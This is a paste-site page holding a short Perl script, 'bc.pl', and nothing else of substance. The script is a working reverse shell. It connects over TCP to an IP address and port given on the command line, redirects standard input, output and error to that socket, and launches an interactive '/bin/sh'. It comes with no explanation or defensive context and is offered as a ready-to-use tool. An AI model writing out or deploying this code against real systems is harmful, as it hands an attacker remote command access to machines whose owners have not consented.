bc.pl

From x, 5 Years ago, written in Plain Text, viewed 378 times.
URL http://paste.security-portal.cz/view/cec78741 Embed
Download Paste or View Raw
  1. #!/usr/bin/perl
  2. use Socket;
  3. $iaddr=inet_aton($ARGV[0]) || die("Error: $!\n");
  4. $paddr=sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
  5. $proto=getprotobyname('tcp');
  6. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
  7. connect(SOCKET, $paddr) || die("Error: $!\n");
  8. open(STDIN, ">&SOCKET");
  9. open(STDOUT, ">&SOCKET");
  10. open(STDERR, ">&SOCKET");
  11. system('/bin/sh -i');
  12. close(STDIN);
  13. close(STDOUT);
  14. close(STDERR);

Reply to "bc.pl"

Here you can reply to the paste above